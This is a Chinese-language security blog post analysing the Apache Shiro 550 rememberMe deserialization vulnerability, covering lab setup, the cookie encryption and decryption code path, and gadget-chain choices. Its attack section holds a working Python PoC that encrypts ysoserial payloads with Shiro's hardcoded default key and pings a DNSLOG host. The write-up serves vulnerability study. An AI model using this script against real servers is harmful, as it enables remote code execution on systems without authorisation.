Java安全之Shiro 550反序列化漏洞分析

nice_0e3發表於2020-12-24

Java安全之Shiro 550反序列化漏洞分析

首發自安全客:Java安全之Shiro 550反序列化漏洞分析

0x00 前言

在近些時間基本都能在一些滲透或者是攻防演練中看到Shiro的身影,也是Shiro的該漏洞也是用的比較頻繁的漏洞。本文對該Shiro550 反序列化漏洞進行一個分析,瞭解漏洞產生過程以及利用方式。

0x01 漏洞原理

Shiro 550 反序列化漏洞存在版本:shiro <1.2.4,產生原因是因為shiro接受了Cookie裡面rememberMe的值,然後去進行Base64解密後,再使用aes金鑰解密後的資料,進行反序列化。

反過來思考一下,如果我們構造該值為一個cc鏈序列化後的值進行該金鑰aes加密後進行base64加密,那麼這時候就會去進行反序列化我們的payload內容,這時候就可以達到一個命令執行的效果。

獲取rememberMe值 -> Base64解密 -> AES解密 -> 呼叫readobject反序列化操作

0x02 漏洞環境搭建

漏洞環境:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

開啟shiro/web目錄,對pom.xml進行配置依賴配置一個cc4和jstl元件進來,後面再去說為什麼shiro自帶了commons-collections:3.2.1還要去手工配置一個commons-collections:4.0

    <properties>

    <maven.compiler.source>1.6</maven.compiler.source>

    <maven.compiler.target>1.6</maven.compiler.target>

    </properties>

...
<dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <!--  這裡需要將jstl設定為1.2 -->
            <version>1.2</version>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>

坑點

Shiro的編譯太痛苦了,各種坑,下面來排一下坑。

配置maven\conf\toolchains.xml,這裡需要指定JDK1.6的路徑和版本,編譯必須要1.6版本,但不影響在其他版本下執行。

<?xml version="1.0" encoding="UTF-8"?>
<toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">
  <toolchain>
    <type>jdk</type>
    <provides>
      <version>1.6</version>
      <vendor>sun</vendor>
    </provides>
    <configuration>
      <jdkHome>D:\JAVA_JDK\jdk1.6</jdkHome>
    </configuration>
  </toolchain>
</toolchains>

這些都完成後進行編譯。

Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:2.0.2:testCompile (default-testCompile) on project samples-web: Compilation failure

這裡還是報錯了。

後面編譯的時候,切換成了maven3.1.1的版本。然後就可以編譯成功了。

但是後面又發現部署的時候訪問不到,編譯肯定又出了問題。

後面把這兩個裡面的<scope>標籤給註釋掉,然後就可以了。

把pom.xml配置貼一下。

<?xml version="1.0" encoding="UTF-8"?>
<!--
  ~ Licensed to the Apache Software Foundation (ASF) under one
  ~ or more contributor license agreements.  See the NOTICE file
  ~ distributed with this work for additional information
  ~ regarding copyright ownership.  The ASF licenses this file
  ~ to you under the Apache License, Version 2.0 (the
  ~ "License"); you may not use this file except in compliance
  ~ with the License.  You may obtain a copy of the License at
  ~
  ~     http://www.apache.org/licenses/LICENSE-2.0
  ~
  ~ Unless required by applicable law or agreed to in writing,
  ~ software distributed under the License is distributed on an
  ~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
  ~ KIND, either express or implied.  See the License for the
  ~ specific language governing permissions and limitations
  ~ under the License.
  -->
<!--suppress osmorcNonOsgiMavenDependency -->
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
    <properties>

        <maven.compiler.source>1.6</maven.compiler.source>

        <maven.compiler.target>1.6</maven.compiler.target>

    </properties>
    <parent>
        <groupId>org.apache.shiro.samples</groupId>
        <artifactId>shiro-samples</artifactId>
        <version>1.2.4</version>
        <relativePath>../pom.xml</relativePath>
    </parent>

    <modelVersion>4.0.0</modelVersion>
    <artifactId>samples-web</artifactId>
    <name>Apache Shiro :: Samples :: Web</name>
    <packaging>war</packaging>

    <build>
        <plugins>
            <plugin>
                <artifactId>maven-surefire-plugin</artifactId>
                <configuration>
                    <forkMode>never</forkMode>
                </configuration>
            </plugin>
            <plugin>
                <groupId>org.mortbay.jetty</groupId>
                <artifactId>maven-jetty-plugin</artifactId>
                <version>${jetty.version}</version>
                <configuration>
                    <contextPath>/</contextPath>
                    <connectors>
                        <connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
                            <port>9080</port>
                            <maxIdleTime>60000</maxIdleTime>
                        </connector>
                    </connectors>
                    <requestLog implementation="org.mortbay.jetty.NCSARequestLog">
                        <filename>./target/yyyy_mm_dd.request.log</filename>
                        <retainDays>90</retainDays>
                        <append>true</append>
                        <extended>false</extended>
                        <logTimeZone>GMT</logTimeZone>
                    </requestLog>
                </configuration>
            </plugin>
        </plugins>
    </build>

    <dependencies>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>servlet-api</artifactId>
<!--            <scope>provided</scope>-->
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-log4j12</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>log4j</groupId>
            <artifactId>log4j</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>net.sourceforge.htmlunit</groupId>
            <artifactId>htmlunit</artifactId>
            <version>2.6</version>
<!--            <scope>test</scope>-->
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-core</artifactId>
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.mortbay.jetty</groupId>
            <artifactId>jetty</artifactId>
            <version>${jetty.version}</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.mortbay.jetty</groupId>
            <artifactId>jsp-2.1-jetty</artifactId>
            <version>${jetty.version}</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>jcl-over-slf4j</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <!--  這裡需要將jstl設定為1.2 -->
            <version>1.2</version>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
    </dependencies>


</project>

經過2天的排坑,終於把這個坑給解決掉,這裡必須貼幾張照片慶祝慶祝。

輸入賬號密碼,勾選Remerber me選項。進行抓包

下面就可以來分析該漏洞了。

0x03 漏洞分析

加密

漏洞產生點在CookieRememberMeManager該位置,來看到rememberSerializedIdentity方法。

該方法的作用為使用Base64對指定的序列化位元組陣列進行編碼,並將Base64編碼的字串設定為cookie值。

那麼我們就去檢視一下該方法在什麼地方被呼叫。

在這可以看到該類繼承的AbstractRememberMeManager類呼叫了該方法。跟進進去檢視

發現這個方法被rememberIdentity方法給呼叫了,同樣方式繼續跟進。

在這裡會發現rememberIdentity方法會被onSuccessfulLogin方法給呼叫,跟蹤到這一步,就看到了onSuccessfulLogin登入成功的方法。

當登入成功後會呼叫AbstractRememberMeManager.onSuccessfulLogin方法,該方法主要實現了生成加密的RememberMe Cookie,然後將RememberMe Cookie設定為使用者的Cookie值。在前面我們分析的rememberSerializedIdentity方法裡面去實現了。可以來看一下這段程式碼。

回到onSuccessfulLogin這個地方,打個斷點,然後web登入頁面輸入root/secret 口令進行提交,再回到IDEA中檢視。找到登入成功方法後,我們可以來正向去做個分析,不然剛剛的方式比較麻煩。

這裡看到呼叫了isRememberMe很顯而易見得發現這個就是一個判斷使用者是否選擇了Remember Me選項。

如果選擇Remember Me功能的話返回true,如果不選擇該選項則是呼叫log.debug方法在控制檯輸出一段字元。

這裡如果為true的話就會呼叫rememberIdentity方法並且傳入三個引數。F7跟進該方法。

前面說過該方法會去生成一個PrincipalCollection物件,裡面包含登入資訊。F7進行跟進rememberIdentity方法。

檢視convertPrincipalsToBytes具體的實現與作用。

跟進該方法檢視具體實現。

看到這裡其實已經很清晰了,進行了一個序列化,然後返回序列化後的Byte陣列。

再來看到下一段程式碼,這裡如果getCipherService方法不為空的話,就會去執行下一段程式碼。getCipherService方法是獲取加密模式。

還是繼續跟進檢視。

檢視呼叫,會發現在構造方法裡面對該值進行定義。

完成這一步後,就來到了這裡。

呼叫encrypt方法,對序列化後的資料進行處理。繼續跟進。

這裡呼叫cipherService.encrypt方法並且傳入序列化資料,和getEncryptionCipherKey方法。

getEncryptionCipherKey從名字上來看是獲取金鑰的方法,檢視一下,是怎麼獲取金鑰的。

檢視呼叫的時候,發現setCipherKey方法在構造方法裡面被呼叫了。

檢視DEFAULT_CIPHER_KEY_BYTES值會發現裡面定義了一串金鑰

而這個金鑰是定義死的。

返回剛剛的加密的地方。

這個地方選擇跟進,檢視具體實現。

檢視到這裡發現會傳入前面序列化的陣列和key值,最後再去呼叫他的過載方法並且傳入序列化陣列、key、ivBytes值、generate。

iv的值由generateInitializationVector方法生成,進行跟進。

檢視getDefaultSecureRandom方法實現。

返回generateInitializationVector方法繼續檢視。這個new了一個byte陣列長度為16

最後得到這個ivBytes值進行返回。

這裡執行完成後就拿到了ivBytes的值了,這裡再回到加密方法的地方檢視具體加密的實現。

這裡呼叫crypt方法進行獲取到加密後的資料,而這個output是一個byte陣列,大小是加密後資料的長度加上iv這個值的長度。

iv 的小tips

  • 某些加密演算法要求明文需要按一定長度對齊,叫做塊大小(BlockSize),我們這次就是16位元組,那麼對於一段任意的資料,加密前需要對最後一個塊填充到16 位元組,解密後需要刪除掉填充的資料。
  • AES中有三種填充模式(PKCS7Padding/PKCS5Padding/ZeroPadding)
  • PKCS7Padding跟PKCS5Padding的區別就在於資料填充方式,PKCS7Padding是缺幾個位元組就補幾個位元組的0,而PKCS5Padding是缺幾個位元組就補充幾個位元組的幾,好比缺6個位元組,就補充6個位元組

不瞭解加密演算法的可以看Java安全之安全加密演算法

在執行完成後序列化的資料已經被進行了AES加密,返回一個byte陣列。

執行完成後,來到這一步,然後進行跟進。

到了這裡其實就沒啥好說的了。後面的步驟就是進行base64加密後設定為使用者的Cookie的rememberMe欄位中。

解密

由於我們並不知道哪個方法裡面去實現這麼一個功能。但是我們前面分析加密的時候,呼叫了AbstractRememberMeManager.encrypt進行加密,該類中也有對應的解密操作。那麼在這裡就可以來檢視該方法具體會在哪裡被呼叫到,就可以追溯到上層去,然後進行下斷點。

檢視 getRememberedPrincipals方法在此處下斷點

跟蹤

返回getRememberedPrincipals方法。

在下面呼叫了convertBytesToPrincipals方法,進行跟蹤。

檢視decrypt方法具體實現。

和前面的加密步驟類似,這裡不做詳細講解。

生成iv值,然後傳入到他的過載方法裡面。

到了這裡執行完後,就進行了AES的解密完成。

還是回到這一步。

這裡返回了deserialize方法的返回值,並且傳入AES加密後的資料。

進行跟蹤該方法。

繼續跟蹤。

到了這步,就會對我們傳入進來的AES解密後的資料進行呼叫readObject方法進行反序列化操作。

0x04 漏洞攻擊

漏洞探測

現在已經知道了是因為獲取rememberMe值,然後進行解密後再進行反序列化操作。

那麼在這裡如果拿到了金鑰就可以偽造加密流程。

網上找的一個加密的指令碼

# -*-* coding:utf-8
# @Time    :  2020/10/16 17:36
# @Author  : nice0e3
# @FileName: poc.py
# @Software: PyCharm
# @Blog    :https://www.cnblogs.com/nice0e3/
import base64
import uuid
import subprocess
from Crypto.Cipher import AES


def rememberme(command):
    # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],
                             stdout=subprocess.PIPE)
    # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    # payload = encode_rememberme('127.0.0.1:12345')
    # payload = rememberme('calc.exe')
    payload = rememberme('http://u89cy6.dnslog.cn')
    with open("./payload.cookie", "w") as fpw:

        print("rememberMe={}".format(payload.decode()))
        res = "rememberMe={}".format(payload.decode())
        fpw.write(res)

獲取到值後加密後的payload後可以在burp上面進行手工傳送測試一下。

傳送完成後,就可以看到DNSLOG平臺上面回顯了。

當使用URLDNS鏈的打過去,在DNSLOG平臺有回顯的時候,就說明這個地方存在反序列化漏洞。

但是要利用的話還得是使用CC鏈等利用鏈去進行命令的執行。

漏洞利用

前面我們手動給shio配上cc4的元件,而shiro中自帶的是cc3.2.1版本的元件,為什麼要手工去配置呢?

其實shiro中重寫了ObjectInputStream類的resolveClass函式,ObjectInputStreamresolveClass方法用的是Class.forName類獲取當前描述器所指代的類的Class物件。而重寫後的resolveClass方法,採用的是ClassUtils.forName。檢視該方法

public static Class forName(String fqcn) throws UnknownClassException {
    Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);
    if (clazz == null) {
        if (log.isTraceEnabled()) {
            log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader.  Trying the current ClassLoader...");
        }

        clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
    }

    if (clazz == null) {
        if (log.isTraceEnabled()) {
            log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader.  " + "Trying the system/application ClassLoader...");
        }

        clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
    }

    if (clazz == null) {
        String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders.  All heuristics have been exhausted.  Class could not be found.";
        throw new UnknownClassException(msg);
    } else {
        return clazz;
    }
}

在傳參的地方如果傳入一個Transform陣列的引數,會報錯。

後者並不支援傳入陣列型別。

resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支援裝載陣列型別的class

那麼在這裡可以使用cc2和cc4的利用鏈去進行命令執行,因為這兩個都是基於javassist去實現的,而不是基於Transform陣列。具體的可以看前面我的分析利用鏈文章。

除了這兩個其實在部署的時候,可以發現元件當中自帶了一個CommonsBeanutils的元件,這個元件也是有利用鏈的。可以使用CommonsBeanutils這條利用鏈進行命令執行。

那麼除了這些方式就沒有了嘛?假設沒有cc4的元件,就一定執行不了命令了嘛?其實方式還是有的。wh1t3p1g師傅在文章中已經給出瞭解決方案。需要重新去特殊構造一下利用鏈。

參考文章

https://www.anquanke.com/post/id/192619#h2-4

https://payloads.info/2020/06/23/Java%E5%AE%89%E5%85%A8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AF%87-Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#Commons-beanutils

https://zeo.cool/2020/09/03/Shiro%20550%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%20%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90+poc%E7%BC%96%E5%86%99/#%E5%9D%91%E7%82%B9%EF%BC%9A

0x05 結尾

在該漏洞中我覺得主要的難點在於環境搭建上費了不少時間,還有的就是關於shiro中大部分利用鏈沒法使用的解決。

相關文章